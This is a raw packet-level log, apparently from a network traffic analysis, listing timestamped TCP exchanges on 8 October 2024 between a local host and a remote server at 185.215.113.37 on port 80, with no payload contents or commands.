Oct 8, 2024 05:27:11.791076899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791088104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791111946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791122913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791146994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791157007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791177988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791193962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791212082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791220903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791244984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791250944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791280031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791290998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791316986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791326046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791352034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791362047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791399002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.791407108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.791452885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806607008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806663990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806689978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806716919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806746006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806754112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806761026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806787968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806798935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806824923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806835890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806859016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806859970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806894064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.806905031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.806941032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.842772961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.842843056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.842860937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.842904091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.842911959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.842966080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.842972040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843023062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843024969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843074083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843081951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843123913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843127012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843161106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843172073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843194008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843209028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843240976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843250036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843295097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843302011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843338966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843350887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843403101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843410015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843456030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843458891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843513012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843522072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843544006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843564987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843585014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843597889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843648911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843698025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843704939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843715906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843732119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843776941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843810081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843832970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843853951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843859911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843908072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.843944073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.843977928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844013929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844013929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844063997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844096899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844136000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844136000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844176054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844227076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844228029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844261885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844273090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844305038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844314098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844347000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844362974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844383955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844391108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844413996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844428062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844453096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844463110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844489098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844490051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844522953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844544888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844556093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844562054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844683886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844702005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844717979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844726086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844764948 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844786882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844820976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844836950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844852924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844862938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844887972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844898939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844922066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.844932079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844965935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.844973087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845026970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845060110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845092058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845124006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845158100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845191956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845222950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845256090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845287085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845319986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845351934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845385075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845417023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845451117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845482111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845514059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845546007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845581055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845613003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845647097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845679045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845712900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845818043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845850945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845882893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845915079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845947027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.845980883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846012115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846045017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846116066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846149921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846183062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846216917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846249104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846281052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846313000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.846345901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.851742029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879268885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879352093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879419088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879436016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879470110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879475117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879475117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879504919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879524946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879554033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879559040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879610062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879614115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879659891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879667044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879702091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879720926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879734993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879746914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879770994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879786015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879803896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879821062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879838943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879854918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879870892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879884005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879905939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879920959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879939079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879951954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.879972935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.879987955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880006075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880017996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880042076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880055904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880074978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880086899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880110025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880126953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880143881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880156994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880177975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880188942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880209923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880228996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880244017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880253077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880292892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880311966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880326986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880335093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880361080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880377054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880394936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880407095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880429029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.880443096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.880479097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896027088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896061897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896095037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896126986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896131039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896131039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896161079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896168947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896168947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896193981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896212101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896229029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896243095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896264076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.896279097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.896311045 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931262970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931319952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931333065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931349993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931365967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931400061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931405067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931451082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931451082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931503057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931504011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931555033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931577921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931613922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931631088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931659937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931667089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931699991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931720018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931734085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931744099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931782007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931783915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931819916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931834936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931869984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931873083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931906939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931926012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931935072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931952000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.931967020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.931988001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932010889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932018042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932051897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932070971 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932087898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932096004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932136059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932137012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932183981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932187080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932220936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932238102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932254076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932270050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932286024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932303905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932320118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932334900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932369947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932370901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932419062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932420969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932456017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932468891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932504892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932508945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932542086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932557106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932589054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932594061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932636976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932660103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932709932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932712078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932760000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932760954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932811022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932816029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932858944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932862997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932923079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932935953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932956934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.932971954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.932986975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933007956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933020115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933034897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933054924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933068037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933088064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933104038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933120966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933137894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933156013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933171988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933191061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:11.933203936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:11.933224916 CEST	80	49706	185.215.113.37	192.168.2.5
